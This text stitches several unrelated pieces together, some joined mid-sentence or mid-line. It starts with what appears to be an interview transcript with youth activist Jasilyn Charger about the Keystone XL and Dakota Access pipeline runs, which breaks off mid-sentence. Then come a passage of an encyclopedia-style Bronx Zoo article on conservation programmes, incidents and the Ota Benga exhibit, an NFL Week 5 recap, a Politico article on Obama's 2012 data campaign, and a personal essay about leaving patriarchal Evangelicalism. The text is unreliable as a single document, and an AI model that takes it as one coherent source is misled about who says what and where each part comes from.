JASILYN CHARGER: I knew we could stop it, I mean, because it doesn’t take an extraordinary person to do extraordinary things. It takes one person to have the courage to stand up and to really say no, to really stand firm and not take no for an answer, to really persevere. I mean, we forget, as the people, that we have the power, that we have the power to change the system if we don’t like it. And we forget about that. We just take—we take it. And we don’t have to take that anymore.
AMY GOODMAN: Now, you had been fighting the Keystone XL pipeline before. You’re a teenager. How were you doing that?
JASILYN CHARGER: Well, I wasn’t really involved on the front line. I was more involved of really bringing the awareness to our youth and getting them more involved, to really push it over the top, to bring more and more—more and more power to the subject and to really tell them that “This is happening. You can do something about it. Get your word out there. Move your voice, because you can move mountains.” And we were really—really trying to really fight it in our community, because it was right in our backyard. It was going through right in our community, and it really devastated us, really hurt us.
AMY GOODMAN: But you won on the Keystone XL.
JASILYN CHARGER: Yeah. Yes, we did.
AMY GOODMAN: So you had that when you went up to Standing Rock.
JASILYN CHARGER: Yes.
AMY GOODMAN: Talk about young women being at the heart of the movement, from LaDonna Brave Bull Allard, who on April 1st sort of stood up at the camp. It was on her property. Talk about the geography of that property and how important it is, when you guys came up.
JASILYN CHARGER: Well, we had a meeting on February 26th about what we should really do, how could we help them. And at that meeting, we got to meet with a delegation from Standing Rock that really wanted us to help and really asked us what can we do. And we shared information. We shared resources. And in that meeting, LaDonna, she stepped forth, and she said, “I offer my land. I offer any support. You can do whatever you want with it. And I need help, because my land is right next to the river. My son is buried there. My sage grows there, my medicine. It has been passed down through my family.” And she was addressing it to all of us, but we felt like that message was for us, for the youth, to really help this woman, to really stand with her and really show her that the youth are there, that she doesn’t have to do this alone. It was—it was very powerful for us to really make that connection, especially when it comes to women as being life givers of this Earth, and really have that connection of really creating life and having that connection with the Earth.
AMY GOODMAN: Now, you all, as youth, with Standing Rock, some of the members of the Standing Rock Sioux Tribe, really brought over many others, sort of won them over, in the battle against the pipeline. Can you talk about that, your elders supporting you or not supporting you?
JASILYN CHARGER: Well, in the beginning, like nobody really supported us. People really told us that we couldn’t change it, that it was going to go through, that it was pointless camping. And we didn’t believe that, because we already faced that with the Key XL. They had already faced that, and they won. And they won their respect. They won the points of view of their elders, of the adults, to really make them see where we stand, and really step back and see it through our youth eyes and really know where we come from and why this is so important to us and why it’s important to keep us involved in this process, because this is our future that’s going to be devastated. And they continue to say that this is for us, and it’s up to us to really tell them what we want.
AMY GOODMAN: So, now describe the runs in the summer. What happened? What did you decide to do?
JASILYN CHARGER: Well, Bobbi Jean Three Legs, a very strong advocate for the youth in Wakulla, North Dakota, she really stepped up, because of her daughter, because she was a mother. And her story is really unique. And she took that power, and she gave that power to the youth. And she said that we really need to do something, we should do a water run. And she really invoked all of us to really stand up and stand with her and really get active. And she gave us something—like something to join and to involve us in it. And it was very powerful. The first run we did was hard. We only had 10 people. We ran for two weeks straight in nothing but rain.
AMY GOODMAN: Wait. Now, what do you mean you ran? Where did you run from?
JASILYN CHARGER: We ran from Cannon Ball, North Dakota, to Omaha, Nebraska.
AMY GOODMAN: How many miles was that?
JASILYN CHARGER: That was 500 miles.
AMY GOODMAN: And what do you mean? How much did you run every day?
JASILYN CHARGER: We ran from 9:00 to sundown.
AMY GOODMAN: Wow!
JASILYN CHARGER: And it varied from the average of miles of—that we ran. And there were only five of—there were only 10 of us. There were more when we started, but there were only 10 people that actually went on the run all the way. And each tribe was represented. And—
AMY GOODMAN: What were some of the tribes?
JASILYN CHARGER: Yankton, Standing Rock and Cheyenne River and Rosebud. And it was—it was something that was united. All the tribes that were really going to be directly affected were represented in their youth, which is amazing. Like we all came together. The youth came together. And we set the example for the leaders. We said, “Hey, if we can do it, you can, too. We can come together, and we can work together.” If the youth can stand there and really work with other youth from different places and not know them personally and do this run and, at the end of the run, become friends, become brothers and sisters and stand together in this fight, the elders, the adults, can do that, too. And they saw that. They said, “Wow! These youth are really taking initiative. And where—where are the adults? Where are the spiritual leaders? Where are the headmen at?” And some men really kind of felt a dent in their ego of “Why are you doing this? Why are the women and children going to Washington, D.C.? Why are they talking to a two-star general? Why are they doing this? The men should be doing this.” And it kind of hurt us spiritually that they didn’t stand behind us, that they didn’t support us. But we just went around and were like, “Well, if you’re going to judge us, why don’t you run for us? Why aren’t you protecting us? Why don’t you take that initiative of your responsibility of being a man and protect your women and children?” And we told them, “We aren’t going to wait for you to protect us. We aren’t going to wait for that. We have no time.” The elderly—an older woman, Lyota [phon.]—Lyota, she really represented the past in that run. She represented—
AMY GOODMAN: How old was she?
JASILYN CHARGER: She was 62.
AMY GOODMAN: And she was one of the runners.
JASILYN CHARGER: Yes, she was.
AMY GOODMAN: From where to where?
JASILYN CHARGER: From Cannon Ball, North Dakota.
AMY GOODMAN: To?
JASILYN CHARGER: To Omaha, Nebraska.
AMY GOODMAN: Omaha. And then, you ran again.
JASILYN CHARGER: Oh, wait. She actually ran from Cannon Ball, North Dakota, to Washington, D.C., with us in that whole month.
AMY GOODMAN: Wow. So, explain. You went from Cannon Ball to Omaha.
JASILYN CHARGER: We went Cannon Ball—the Omaha, Nebraska, run was our first run that we did. Only 10 people went there, and it was all youth. The second run we did was from Cannon Ball, North Dakota, to Washington, D.C., which was a 1,200-mile run, and it took us a month to complete. And it was—it was stressful. It was long. And we took youth that had never been off the reservation before, that never really got to see any of this, that never really got to go to Washington or go to New York or even see skyscrapers or see this much traffic. You know, it was a culture shock for them. And it was—it was a good experience for them, and I’m glad they got to experience that, but it was also very devastating for them, because they got
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reintroduce bison back into the wild.[15] On October 11, 1907, the first reintroduction of bison began when the zoo sent six males and nine females, by rail, to the Wichita Mountains Wildlife Refuge in Oklahoma. Seven days later, the animals were successfully reintroduced to the park.[123] By 1935, the society, who had successfully carried out several more reintroductions from bison kept in zoos and ranches, considered their work done and disbanded that year. In 2005, the Wildlife Conservation Society resurrected and re-purposed the ABS to, "help build the social and scientific foundations for the ecological restoration of bison," and, "restore bison ecologically, not just animals in pens but actual functioning animals in the larger landscape," (Keith Aune, WCS bison coordinator).[124][125] According to a study published in 2012, virtually all wild and captive bison in the United States are hybrids with cattle genes, with the exception of the two distinct breeding populations within Yellowstone National Park and their descendants. The cattle genes entered the bison population due to private ranchers hybridizing their bison to make them more docile, with some of these animals being accidentally reintroduced by the ABS.[126] In response, in the fall of 2011, the WCS arranged for a herd of female bison originating from the American Prairie Reserve to be sent to the Colorado State University's Animal Reproduction & Biotechnology Laboratory to be used as surrogates in an attempt to transfer the fertilized embryos of genetically pure bison. After an ultrasound showed one female to be pregnant, the herd was moved to the zoo where, on June 20, 2012, the calf was born. The herd is kept in an off-exhibit section of the zoo and the goal is to eventually create a breeding herd of genetically pure bison through embryo transfers with the surrogate hybrid bison.[127]
In 1981, the zoo successfully implanted a gaur embryo into a Holstein cow in an attempt to clone the endangered species.[5][128]
In 1990, the zoo experienced a pest problem with the Canada goose. The park had become so over-crowded with the geese, that the zoo had to take action to decrease their numbers. Apart from their presence, the geese were very aggressive towards other birds and occasionally carried diseases into the park. To cope with the problem, the zoo hired a sharpshooter, who killed 19 geese. Zoo workers also destroyed 144 eggs found on the property. In 1991, the zoo employed a gentler method of sterilizing the birds.[129]
In 2005, the zoo sent the frozen sperm of a male Indian rhinoceros to the Cincinnati Zoo where, four years later in 2009, it was thawed out and used in the first successful artificial insemination of the species when a calf was born in late 2010.[130] The calf did not survive long-term.
In August 2006, the zoo adopted an orphaned snow leopard cub, named Leo. The 13-month-old cub was found stuck in mud following a landslide in Naltar Valley in Pakistan. The landslide had killed the cub's mother. A Pakistani shepherd in the area found the cub with its female sibling, but the female had died a week later due to malnutrition. He then handed over the male cub to Pakistani authorities to care for him. Since there are no captive breeding programs or rehabilitation centers for snow leopards in Pakistan, the authorities decided to send the cub to the Bronx Zoo. The cat will be returned to its place of birth following construction of a rehab facility in the Naltar Valley with cooperation from the United States.[12][131][132][133] On April 9, 2013, Leo sired a cub. He was the first cub of Leo.[134]
In 2007, the zoo successfully reintroduced three Chinese alligators into the wild. In July 2009, the zoo announced that the reintroduced alligators had begun breeding naturally in the wild, producing 15 hatchlings. The breeding was a milestone in the zoo's 10-year effort to reintroduce the species to the Yangtze River in China.[135]
In January 2010, the zoo adopted four abandoned brown bear cubs. Three of the bears, two males and one female, were siblings born in 2009 and rescued from the ABC Islands in Alaska. The cubs were named Kootz, Denali, and Sitka. The fourth cub, a grizzly bear born in 2008, was rescued from Glacier National Park in Montana and named Glacier after the park.[49] In 2015, two other rescued grizzly bears, who had been at the zoo since 1995, were sent to one of the zoo's partner institutions, the Central Park Zoo.[50]
The next month, an "assurance colony" of Kihansi spray toads was placed in the zoo. The species disappeared in their native Tanzania home.[136]
In February 2011, the zoo took in two bald eagles that were rescued in Wyoming. The 5-year-old male was found in 2008 and was believed to have been hit by a car. The 3-year-old female was believed to have been injured during a storm. The birds were taken in by the U.S. Fish and Wildlife Service and sent to the Woodford Cedar Run Wildlife Refuge in New Jersey for evaluation and care, where it was decided they were unable to survive in the wild.[74]
In December 2012, five Chinese yellow-headed box turtles, a critically endangered species, were born.[137]
In December 2015, the zoo rescued a juvenile Indian cobra which had stowed away on a cargo ship destined for New Jersey. The snake was found in poor condition being dehydrated, cold, and exposed to oil residue. The animal was brought to the zoo for recovery. It's unclear how the snake got onto the ship since it set out from Singapore, which is outside of the species' natural range.[138]
Incidents and controversies [ edit ]
Human deaths [ edit ]
On July 29, 1985, two female Amur tigers killed 24-year-old animal keeper Robin Silverman after she entered their enclosure with a volunteer aide.[139] It was unclear why Silverman entered the enclosure; the zoo's general curator suspected a lapse in Silverman's concentration, while Silverman's family suspected a lapse on the part of the zoo's. It was the first fatality in the zoo's history.[140]
Non-human deaths [ edit ]
In the early 2000s, the zoo added a troop of Javan langurs to JungleWorld and mixed them with Oriental small-clawed otters. The otters had previously mixed with other primate species in the enclosure without any problems. However, the new langurs made a habit of constantly bothering and attacking the otters. In June 2007 the otters grabbed a langur that was sitting at the water's edge and proceeded to drown it in full view of visitors. A keeper on the viewing deck attempted to break up the fight by whistling and yelling at the otters, to no avail. After killing the langur, the otters left the body floating in the pool. It was later removed by keepers. Part of the incident was recorded and uploaded to YouTube.[141]
Soon after the incident, the otters were removed from the enclosure and given their own in the Children's Zoo and elsewhere in JungleWorld.
Safety incidents [ edit ]
In 2001, Peter Vitique, 32, climbed a 20-foot wall, entered the gorilla enclosure, and stripped down to his boxer shorts. He later told police that he wanted to be "one with the gorillas."[5]
In 2004, a man stripped off his clothes in World of Darkness and jumped into the caiman enclosure. He was removed by zookeepers and police before he could sustain any injuries.[5]
On July 9, 2008, the Skyfari, a now defunct gondola lift used to transport guests from the Zoo Center to Asia Plaza, broke down when high winds and heat caused one of the gondola cars to derail. Three dozen guests, several of them children, were stranded for approximately five hours at heights ranging from 60 to 100 feet (18 to 30 m) in elevation. A crane was brought into the zoo to evacuate the three guests in the derailed car, who were safely rescued after three hours. The car was then repaired and operations resumed, allowing the remaining passengers to exit normally. No serious injuries occurred as a result of the incident, although one couple sued. They claimed the "psychological trauma" of being stuck for five hours "above fang-baring, flesh-eating baboons" put the woman's pregnancy at risk. In January 2009, the zoo removed the Skyfari due to high maintenance costs.[112][142]
On September 21, 2012, David Villalobos, 25, jumped off the Wild Asia Monorail and cleared the 16-foot (4.9 m) high perimeter fence around the area into the tiger exhibit. During the 10 minutes that he was in the enclosure, Villalobos was alone with an 11-year-old male Amur tiger named Bashuta, a three-year resident of the zoo at the time, before being mauled. Villalobos was attacked on his shoulder, arms, legs, and back, before he was rescued by zoo officials who used fire extinguishers to chase the tiger away and told Villalobos to escape by rolling under a wire. Villalobos was taken to an area hospital and reported in stable condition. He had petted the 400-pound animal and wanted to be "one with the tiger".[143] The tiger was not euthanized as a result of the incident, since it was clearly provoked, and the mauling did not result in a fatality.[144][145]
In the summer of 2013, New Jersey residents Heung Ju Yi and Kyung Hee brought their 3-year-old son, Ethan, to the zoo to visit the popular Dinosaur Safari exhibit. After buying their tickets, each member of the family was given a free souvenir pressed penny as a gift promoting the exhibit. Soon afterward, Ethan swallowed the coin and began choking. His mother, Kyung, said she'd, "thought he'd died."[146] Unsuccessful attempts to retrieve the coin from his throat were followed by rushing the boy to an emergency medical clinic, where X-rays showed it had entered his stomach. The next day, further X-rays revealed that the coin was not passing naturally, and surgery was required to remove it.[146] Two days later, Ethan was put under general anesthesia, and the coin was removed via endoscopy. The surgery revealed that the zinc in the coin had reacted with his stomach acid and begun to dissolve, creating jagged edges that cut the inside of his stomach. The family, which did not have health insurance, were charged over $50,000 for this.[146] In early 2014, the family pressed charges against the zoo and the Wildlife Conservation Society for unspecified damages. They claimed the zoo endangered their son since the employee who handed them the coins handed Ethan's directly to him and gave no warning about the choking hazards of small coins.[146]
Animal escapes [ edit ]
In 1902, a 7-month-old male jaguar broke out of his cage and escaped.[5]
In February 1995, the zoo's De Jur Aviary collapsed during a snowstorm with about 100 seabirds, including Inca terns and gulls, inside. During the collapse, some of the residents flew off and escaped. In total, about 30 birds were lost.[60]
On March 26, 2011, the Bronx Zoo announced that World of Reptiles was closed after a venomous adolescent cobra was discovered missing from its off-exhibit enclosure on March 25. Zoo officials were confident the missing cobra would be found in the building and not outside, since the species is known to be uncomfortable in open areas.[147] The missing snake quickly sparked a popular Twitter parody account, @BronxZoosCobra,[148] which narrated the daily hijinks of the cobra.[149] On March 31, zoo authorities found the snake in a non-public area of the reptile house.[150]
On May 9, 2011, a female green peafowl escaped from the zoo before being caught on May 11.[151]
On September 11, 2011, a lesser kudu escaped from its enclosure for about half an hour and then returned to its enclosure once a zoo worker opened the gate.[152]
Happy the Elephant [ edit ]
In the early 1970s, seven Indian elephants, named after the Seven Dwarfs from Snow White, were captured as calves in Thailand and dispersed among multiple U.S. zoos and circuses. Two of those calves, named Grumpy and Happy, were brought to the zoo in 1977. Over the next 25 years, the pair lived together, separated from the zoo's other elephants. In July 2002, the zoo attempted to mix the pair with two females, Patty and Maxine. However, the introduction failed when Patty and Maxine attacked the pair and injured Grumpy. Over the next several months, the elephant's injuries worsened and, in October of that year, the zoo was forced to euthanize her. With her lifelong companion gone, Happy was paired with the zoo's younger female, Sammy, whose companion Tus had also died in 2002. The two got along very well until Sammy developed severe liver disease and was also euthanized in early 2006. This left Patty, Maxine, and Happy as the zoo's only remaining elephants.[153]
Despite the fact that elephants are highly social animals, the zoo decided that making a second attempt at introducing Happy to the others was too risky, with there being too high a chance that she'd be attacked. She has since lived without the company of other elephants. Due to this, the zoo has been criticized by multiple animal rights organizations for supposedly mistreating Happy. People for the Ethical Treatment of Animals (PETA) filed a formal complaint against the zoo with the Association of Zoos and Aquariums (AZA), calling for them to strip the zoo of its accreditation. In Defense of Animals (IDA) has named the zoo the "Hall of Shame Winner" on their 2015, 2016, and 2017 'Ten Worst Zoos for Elephants'.[154] IDA listed the zoo fourth on their 2012 list,[155] fifth on their 2013 and 2014 lists,[156][157] and eighth on their 2009 list.[158] The organizations, as well as many online petitions (some of which gain up to 200,000 supporters), have called on the zoo to send Happy to an elephant sanctuary. However, the zoo said that moving her at this stage in her life might be potentially traumatizing for her, and that she has very strong bonds with her keepers and is well-adjusted to the zoo, where she has spent well over thirty years of her life.[153][159]
The zoo, which works with the WCS to conserve wild elephants, has attempted to ease the controversy for years. However, some of the zoo's comments on Happy are refuted by false statements on the issue. In 2012, a reporter for the New York Post wrote that she is kept inside all year and in solitary confinement. The zoo, on the other hand, says that she and the other two elephants have equal access to outdoor yards, and that the three elephants have limited interactions with each other and extensive interactions with zoo keepers. All three animals share the same barn, though live in separate stalls and yards.[159] While she spends most of her time in an off-exhibit section of the Wild Asia Monorail, Happy is still sometimes exhibited alone in the main yard.
Ota Benga [ edit ]
[160]: {{{1}}} Ota Benga at the Bronx Zoo in 1906. Only five promotional photos exist of Benga's time here, none of them in the Monkey House; cameras were not allowed.
In 1906, a major controversy erupted when Ota Benga, a Mbuti pygmy, was brought to the zoo by the American businessman and explorer Samuel Phillips Verner, and displayed there as an exhibit; though he was allowed to roam the grounds freely. He became fond of an orangutan named Dohong, "the presiding genius of the Monkey House", who had been taught to perform tricks and imitate human behavior.[160]:172–174 The events leading to his "exhibition" alongside Dohong were gradual. Benga spent some of his time in the Monkey House exhibit, where the zoo encouraged him to hang his hammock and to shoot his bow and arrow at a target. On the first day of the exhibit, September 8, 1906, visitors found Benga in the Monkey House.[161] Soon, a sign on the exhibit read:
The African Pigmy, "Ota Benga."
Age, 23 years. Height, 4 feet 11 inches.
Weight, 103 pounds. Brought from the
Kasai River, Congo Free State, South
Central Africa, by Dr. Samuel P. Verner.
Exhibited each afternoon during September.[162]
Hornaday considered the exhibit a valuable spectacle for visitors; he was supported by Madison Grant, secretary of the New York Zoological Society, who lobbied to put Benga on-display alongside apes at the zoo. A decade later, Grant became prominent nationally as a racial anthropologist and eugenicist.[160]:173–175
African-American clergymen immediately protested to zoo officials about the exhibit. James H. Gordon said, "Our race, we think, is depressed enough, without exhibiting one of us with the apes... We think we are worthy of being considered human beings, with souls."[161] Gordon also thought the exhibit was hostile to Christianity and a promotion of Darwinism: "The Darwinian theory is absolutely opposed to Christianity, and a public demonstration in its favor should not be permitted."[161] A number of clergymen backed Gordon.[163]:47 In defense of the depiction of Benga as a lesser human, an editorial in The New York Times suggested:
We do not quite understand all the emotion which others are expressing in the matter... It is absurd to make moan over the imagined humiliation and degradation Benga is suffering. The pygmies... are very low in the human scale, and the suggestion that Benga should be in a school instead of a cage ignores the high probability that school would be a place... from which he could draw no advantage whatever. The idea that men are all much alike except as they have had or lacked opportunities for getting an education out of books is now far out of date.[163]:48
After the controversy, Benga was allowed to roam the grounds of the zoo. In response to the situation, as well as verbal and physical prods from the crowds, he became more mischievous and somewhat violent.[164]:Chapter on Ota Benga Around this time, Rev. Dr. R. MacArthur of Calvary Baptist Church, was quoted in The New York Times saying: "It is too bad that there is not some society like the Society for the Prevention of Cruelty to Children. We send our missionaries to Africa to Christianize the people, and then we bring one here to brutalize him." Soon, the zoo removed Benga from the grounds.[162][165] Benga committed suicide in 1916 at the age of 32.[166]
In popular culture [ edit ]
In 2013, So What? Press published an issue of its comic series Tales of the Night Watchman, entitled "The Night Collector", about a coven of vampires that takes over the bat exhibit at the Bronx Zoo. A zookeeper who specializes in bats is put at odds with his co-worker when it's discovered that the woman of their mutual affection has been turned into a vampire. It was written by Dave Kelly and illustrated by Molly Ostertag.[167]
In March 2016, Animal Planet announced plans to produce a docu-series about the zoo, titled The Zoo. The series premiered on February 18, 2017[168] and gained a second season in March 2018.[169]
References [ edit ]
Media related to Bronx Zoo at Wikimedia CommonsAnother week of NFL action is in the books. With that in mind, it’s time to take a look at the week that was and break down the prominent storylines which emerged from the league’s play.
Six teams remain undefeated through five weeks (Patriots, Bengals, Broncos, Packers, Falcons, Panthers). If you think that number’s fairly high, you’re right. It’s the most since the league went to its current divisional format in 2002, exceeding the five teams that had unblemished slates at this point in the season back in 2009. Last year, all 32 teams had suffered a loss by week five and only seven had just one.
It’s highly likely that number will dwindle by the end of next week though, with five of six remaining unbeatens facing road tests. Among the stiffest of those away games has to be Carolina traveling to the Pacific Northwest to face a Seattle team looking to right the ship after blowing a huge fourth quarter lead at Cincinnati, thus enabling the Bengals to preserve their perfect year to date.
But let’s not get too far ahead of ourselves. Before we get to the Week 6 opener Thursday night with another team going on the road to put their undefeated season on the line as Atlanta travels to New Orleans, we have to take a look at the major happenings from the previous week.
With that in mind, here are some of the things that stood out to me in Week 5.
5 Takeaways from NFL Week 5
Bengals and Falcons Get Thrilling OT Wins in Differing Fashions To Stay Unbeaten
Both Atlanta and Cincinnati somehow figured out a way to come out victorious to move to 5-0.
For the Falcons, it came in spite of a rough outing from quarterback Matt Ryan against Washington who threw two interceptions and couldn’t manage a single touchdown pass on the afternoon. Devonta Freeman turned in another phenomenal performance in the Atlanta backfield, rushing for 153 yards and capping off a ten-play, 80 yard drive in the fourth quarter with a score that gave the Falcons a 19-16 lead with 24 seconds left.
Redskins quarterback Kirk Cousins then became hero and goat on opposite ends of regulation. He got the team into field goal range with three quick passes that allowed Dustin Hopkins to kick a 52-yard field goal and send the game into overtime. Seven plays into the extra stanza, however, he threw a ball towards the sidelines intended for Ryan Grant that was intercepted by Robert Alford and taken 59 yards the other way for a game-winning touchdown that sent the Georgia Dome crowd into a frenzy.
In Cincinnati, it was Andy Dalton’s late-game exploits that likely prevented the Bengals from suffering their first loss of the season. With the team down 24-7 in the fourth quarter, he would lead the team on three straight scoring drives including the game-tying one that started on his own 18 with 2:17 left and culminated with a 31-yard field goal from Mike Nugent to tie the game at the end of regulation.
After both teams traded possessions, the Bengals would slowly win the field position battle in overtime. It was then that plays from Dalton and running back Giovani Bernard would set Nugent up to kick the game-winning 42-yard field goal.
The win gives Cincinnati its best start since 1988 which incidentally was the last time the Bengals appeared in the Super Bowl.
Broncos Stifling Defense Keeps Peyton Manning’s Struggles at Bay
Denver’s Week 5 road tussle with divisional foe Oakland was endemic to what we’ve come to expect out of the Broncos this season. Their defense has emerged as one of the league’s best while Peyton Manning seems to continue his inevitable end-of-career decline. Ultimately, defensive back Chris Harris’ pick six of Raiders quarterback Derek Carr proved to be the difference in a 16-10 win for the Broncos.
Manning finished with 266 yards passing, two interceptions and managed a less than impressive quarterback rating of 62.3. Overall, his 77.6 rating is third-worst in the league among quarterbacks who’ve played in at least 75 percent of their team’s snaps, and he’s also one of only three in the league to have thrown more picks than touchdown passes.
Meanwhile, the Broncos continue to roll on the other side of the ball. They’re currently in the top five in virtually every major defensive metric, are second in scoring defense (15.8 points per game) and lead the league in yards allowed per game (278). DeMarcus Ware, Von Miller and Malik Jackson have combined for 10.5 sacks while the team as a whole leads the NFL with 22. The unit has also managed seven interceptions, tied with Buffalo for fourth best overall, and two of those have resulted in touchdowns.
You could make the argument Denver’s 5-0 start has been brought to you, in part, by a ridiculously easy schedule. Their first five opponents are a combined 6-18 on the season so far. They get Cleveland on the road this Sunday, followed by a bye, then a Week 8 showdown at home with Green Bay. Might that become a mid-season meeting of undefeated teams?
The Dire Situation That is the Detroit Lions
My, oh my, have the wheels come off the bus big time in Detroit. It was perhaps no more evident than late Sunday afternoon at Ford Field as the Arizona Cardinals came into town and laid a comprehensive 42-17 beatdown on the Lions to drop them to 0-5 on the season. Though the franchise has made the playoffs twice in the last four seasons, 2015 already looks like it will resemble any one of the club’s campaigns from 2001-10 where they averaged a meager 3.9 wins per season.
Matthew Stafford was atrocious and got pulled in favor of Dan Orlovsky after throwing his third interception of the game in the second half. Overall, he has eight on the year which is worst in the league. His offensive line isn’t helping. Though Stafford’s only been sacked seven times, he’s facing an inordinate amount of pressure that has included 57 hurries.
The running game isn’t any better, averaging just 49 yards per game which is dead last in the NFL. Ameer Abdullah’s rookie season hasn’t exactly lived up to expectations so far. He’s one of eight running backs in the league who’s fumbled the ball twice already and, like Stafford, found himself on the bench late in the game.
Head coach Jim Caldwell led this team to the playoffs in his first season in charge last year so it’s hard to see him on the hot seat this early. The losses in free agency, particularly on defense, have not made his job any easier. Still, the fan base is none too happy right now and the chorus of boos cascaded at Stafford after that third pick served to illustrate that sentiment.
Colin Kaepernick Might Not Be Dead and Buried Just Yet
Speaking of under fire quarterbacks, Colin Kaepernick certainly fit the bill through four weeks of action. That said, he was at his best on Sunday night on the road against the New York Giants. The 49ers even led 27-23 late in the fourth quarter before Eli Manning led Big Blue on a spectacular eight-play, 82-yard drive capped off by a circus catch from tight end Larry Donnell in the end zone to seal a 30-27 win for the Giants. It was Manning’s 27th fourth quarter/overtime game-winning drive of his career.
It had to have been a tough way to lose the game for Kaepernick, who himself led the Niners on three drives of over 80 yards in the second half, all of which resulted in touchdowns. In the end, he threw for 262 yards and two touchdowns while not turning the ball over once. His 107.1 rating was ninth best in the league for Week 5.
Perhaps Colin Kaepernick’s days as the starting quarterback in Frisco may not be numbered after all.
Ronald Darby and Stephon Gilmore Turning into Shutdown Corners for Buffalo
The best cornerback tandem in the league could reside in Buffalo. Both Ronald Darby and Stephon Gilmore have emerged as legitimate weapons in the Bills secondary. It was on full display late in the game Sunday when Gilmore picked off Marcus Mariota to preserve a 14-13 win and take Buffalo to 3-2 including 2-0 on the road.
Through five games, the two defensive backs have combined for 11 pass breakups which is by far the most in the league at the position for two teammates. Philadelphia’s Nolan Carroll and Byron Maxwell are second with a combined seven between them.
What makes Gilmore’s numbers all the more impressive is the volume of passes coming his way. The fourth-year pro out of South Carolina has seen 49 throws come into his coverage, which is most for any corner in the league. Despite that, only 46.9 percent of those throws have resulted in receptions by opposing players, good enough for sixth-lowest.
For the rookie out of Florida State in Darby, his reception percentage is slightly better at 45.2 percent. He’s also done a great job at preventing big plays. He’s one of only six corners in the league allowing less than ten yards per reception and is eighth-best league wide in yards after catch allowed in his coverage with just 51.
I guess when Jim Kelly announces your pick at the NFL draft you’re destined for great things. That seems to be the case for Darby through the first five games of his pro career.
Let me know what you think. Do you have some takeaways involving your favorite team I may have missed here? Feel free to leave your thoughts in the comments below or tweet at me.
Main Photo:The Obama camp hopes to replicate the online excitement that helped him four years ago. | REUTERS Obama's data advantage
CHICAGO — On the sixth floor of a sleek office building here, more than 150 techies are quietly peeling back the layers of your life. They know what you read and where you shop, what kind of work you do and who you count as friends. They also know who your mother voted for in the last election.
The depth and breadth of the Obama campaign’s 2012 digital operation — from data mining to online organizing — reaches so far beyond anything politics has ever seen, experts maintain, that it could impact the outcome of a close presidential election. It makes the president’s much-heralded 2008 social media juggernaut — which raised half billion dollars and revolutionized politics — look like cavemen with stone tablets.
Story Continued Below
Mitt Romney indeed is ramping up his digital effort after a debilitating primary and, for sure, the notion that Democrats have a monopoly on cutting edge technology no longer holds water.
( Also on POLITICO: White House tech gurus unveil digital road map)
But it’s also not at all clear that Romney can come close to achieving the same level of technological sophistication and reach as his opponent. (The campaign was mercilessly ridiculed last month when it rolled out a new App misspelling America.)
“It’s all about the data this year and Obama has that. When a race is as close as this one promises to be, any small advantage could absolutely make the difference,” says Andrew Rasiej, a technology strategist and publisher of TechPresident. “More and more accurate data means more insight, more money, more message distribution, and more votes.”
Adds Nicco Mele, a Harvard professor and social media guru: “The fabric of our public and political space is shifting. If the Obama campaign can combine its data efforts with the way people now live their lives online, a new kind of political engagement — and political persuasion — is possible.”
Launched two weeks ago, Obama’s newest innovation is the much anticipated “Dashboard," a sophisticated and highly interactive platform that gives supporters a blueprint for organizing, and communicating with each other and the campaign.
( PHOTOS: Technology and the Obama campaign)
In addition, by harnessing the growing power of Facebook and other online sources, the campaign is building what some see as an unprecedented data base to develop highly specific profiles of potential voters. This allows the campaign to tailor messages directly to them — depending on factors such as socio-economic level, age and interests.
The data also allows the campaign to micro-target a range of dollar solicitations online depending on the recipient. In 2008, the campaign was the first to maximize online giving — raising hundreds of millions of dollars from small donors. This time, they are constantly experimenting and testing to expand the donor base.When I was nineteen, a kid asked me what a feminist was.
“A feminist is a woman with an authority problem,” I said.
It was a black-and-white world I lived in then, one where I had all the answers (because I had read them in a book) and I wasn’t afraid to tell them (because I was nineteen).
I was the least likely person to ever become a feminist.
///
The world I grew up in was pure, concentrated patriarchy.
Wives and daughters were subjected to the “headship” of men – no decision was to be made without the permission of the husband or father. Family planning, pants, college, and outside employment were all frowned upon; a woman’s place was at the kitchen table, homeschooling a gaggle of obedient children.
When I was sixteen, I told a friend that I didn’t see any reason for girls to go to college. After all, what’s the point of going to college if you’re going to stay home raising kids for the rest of your life?
I thought I was going to be a pastor when I grew up, and I was hoping to someday find the ideal pastor’s wife: A girl whose main ambition would be raising our children and supporting me as I “pursued my calling.” I would make the arrangements for the relationship with her father; she would wait patiently while I got his permission to woo her.
///
By the time I was in college, I had moved out of the ultra-patriarchal corners of the conservative homeschooling movement and joined the broader streams of popular conservative Evangelicalism. Though not as extreme, some of the same assumptions were present here: A man was to provide and lead, and a woman’s place was in the home.
When I was at work I’d listen to sermons on my iPod about what it meant to be a “real man.” The masculinity I heard preached was exciting – glorious, honorable, rough, violent. It eschewed “limp-wristed girly-men” and stay-at-home dads alike. A man’s job was to work hard to provide for his family; a woman’s job was to take care of the household and children and always be cheerfully available for sex.
It was a vision of masculinity perfectly designed for my black-and-white view of the world.
///
Sarah and I were dating by then and we read Christian marriage books that continued to reinforce these binary gender stereotypes. Men need respect, women need love. Men give love to get sex, women give sex to get love. Men want to fight for a woman, women want to be rescued. Men defend and provide, women comfort and nurture.
But shortly after we were married, we began to realize that we did not fit into the neat boxes so often prescribed by preachers and books. Not only were our expressions of our gender roles not so narrow and fixed as I had once imagined, but perhaps “Biblical manhood” and “Biblical womanhood” were not so reductive and monolithic as I had believed them to be either.
///
Through most of these years, I was a pretty dogged conservative – I had a McCain sticker on my bumper and listened to Rush Limbaugh every day on my way to work.
I heard the same messages about feminism from the radio that I had heard from the pulpit growing up: Feminists hated men and children. Feminists were rebellious and dangerous. Feminists were responsible for the decline of masculinity. Feminists, along with liberals and gays and immigrants and Muslims and atheists, were going to usher in the fall of America.
I was oblivious to my privilege as a straight white male. I had grown up near or below the poverty line… what possible privilege could I have that others didn’t? Like the voices I heard on the radio, I believed that that everyone was the master of his own fate. After all, wasn’t the beauty of America that it’s a land of opportunity, a level playing field?
I was unable and unwilling to see my own sexism, my own racism, my own homophobia: my own privilege.
///
Though I would have resented the suggestion, I was simply narrow-minded – convinced that what I was believed was right, though I had never honestly examined it. It was a benevolent arrogance – the sort that comes from memorizing the right answers without ever truly questioning your own worldview.
During college I had a sort of crisis of faith (which I’ve touched on here and will some day write about at length) and in the aftermath of that I found myself exploring questions I’d never really allowed myself to ask before. I didn’t find answers so much as I realized how few answers I actually had.
And in the absence of answers, I found empathy.
Slowly, I began to realize how self-centered my world was – not that I didn’t care about others, but I had rarely truly considered the world through any lens but my own. Clumsily, I attempted to replace hate with understanding.
///
